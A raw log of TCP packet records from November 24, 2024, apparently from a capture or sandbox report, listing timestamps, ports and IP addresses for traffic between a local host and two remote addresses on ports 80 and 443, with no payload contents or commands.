Nov 24, 2024 04:20:50.158092022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.158670902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.158716917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.158761978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.158807993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.159472942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.159516096 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.159579039 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.159621954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.160298109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.160387039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.160401106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.160442114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.161114931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.161181927 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.161205053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.161429882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.161953926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.161966085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.161998034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.162010908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.162741899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.162849903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.162899017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.163568974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.163676023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.163691998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.163772106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.164397955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.164441109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.164499998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.164619923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.165242910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.165256977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.165323019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.166009903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.166052103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.166090965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.166131973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.166848898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.166888952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.166928053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.167678118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.167727947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.167784929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.167905092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.168473959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.168586016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.168628931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.169306993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.169337988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.169354916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.169384003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.170142889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.170192003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.170217037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.170279980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.170948029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.170994997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.171051979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.171101093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.171751976 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.171797991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.171957016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.172060966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.172622919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.172689915 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.172722101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.172734022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.173404932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.173476934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.173537970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.173578978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.174227953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.174271107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.174345970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.174387932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.175014973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.175062895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.175139904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.175180912 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.175880909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.175937891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.176032066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.176076889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.176677942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.176704884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.176723003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.176749945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.177566051 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.177628994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.177650928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.177695036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.178313017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.178395987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.178447008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.178489923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.179172993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.179220915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.179245949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.179294109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.179943085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.180000067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.180057049 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.180126905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.180757999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.180800915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.180852890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.180891991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.181592941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.181648016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.181720018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.181794882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.182409048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.182420969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.182462931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.183255911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.183352947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.183391094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.184035063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.184081078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.184170008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.184216022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.184849024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.184959888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.185003042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.185704947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.185717106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.185746908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.185762882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.186505079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.186549902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.186580896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.186620951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.187302113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.187401056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.187427998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.187520981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.188117027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.188162088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.188229084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.188457966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.188954115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.189053059 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.189081907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.189116001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.189776897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.189822912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.189825058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.189863920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.190574884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.190614939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.190692902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.190748930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.191411018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.191421032 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.191452026 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.191468954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.191509008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.191751003 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.191759109 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.192226887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.192286015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.192306042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.192352057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.193043947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.193087101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.193098068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.193136930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.193793058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.193840981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.193872929 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.193922997 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.318533897 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.318825960 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.321700096 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.321713924 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.361439943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.361526012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.361526966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.361587048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.361809015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.361850977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.361895084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.361934900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.362648964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.362796068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.362834930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.363476038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.363514900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.363646030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.363691092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.364295006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.364336967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.364397049 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.365076065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.365115881 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.365197897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.365236044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.365896940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.365953922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.365993023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.366039991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.366741896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.366887093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.366929054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.367562056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.367644072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.367675066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.367692947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.368412018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.368494987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.368524075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.368541956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.369146109 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.369180918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.369226933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.369273901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.369311094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.370064020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.370102882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.370105982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.370138884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.370827913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.370872974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.370935917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.370975971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.371637106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.371661901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.371712923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.371712923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.372468948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.372517109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.372560024 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.373262882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.373338938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.373372078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.373410940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.374131918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.374212027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.374243975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.374281883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.374970913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.375014067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.375070095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.375113010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.375720024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.375776052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.375808001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.375845909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.376528978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.376591921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.376640081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.376714945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.377381086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.377429962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.377516985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.377557039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.378221989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.378272057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.378285885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.378323078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.378988981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.379030943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.379097939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.379168987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.379847050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.379894018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.379946947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.379991055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.380611897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.380707026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.380717039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.380740881 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.381478071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.381524086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.381596088 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.381725073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.382272959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.382344961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.382435083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.382599115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.383083105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.383131027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.383245945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.383296013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.383903027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.383970976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.383999109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.384078026 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.384753942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.384804964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.384833097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.384874105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.385535955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.385591030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.385641098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.385679960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.386375904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.386434078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.386528015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.386575937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.387182951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.387227058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.387231112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.387290955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.388014078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.388025999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.388068914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.388822079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.388889074 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.388922930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.389059067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.389662027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.389712095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.389780998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.389875889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.390459061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.390501976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.390551090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.390589952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.391280890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.391294003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.391328096 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.391365051 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.392076015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.392127037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.392160892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.392198086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.392901897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.392942905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.392962933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.393007040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.393718958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.393760920 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.393816948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.393857002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.394570112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.394582033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.394613981 CET	49835	80	192.168.2.6	185.215.113.206
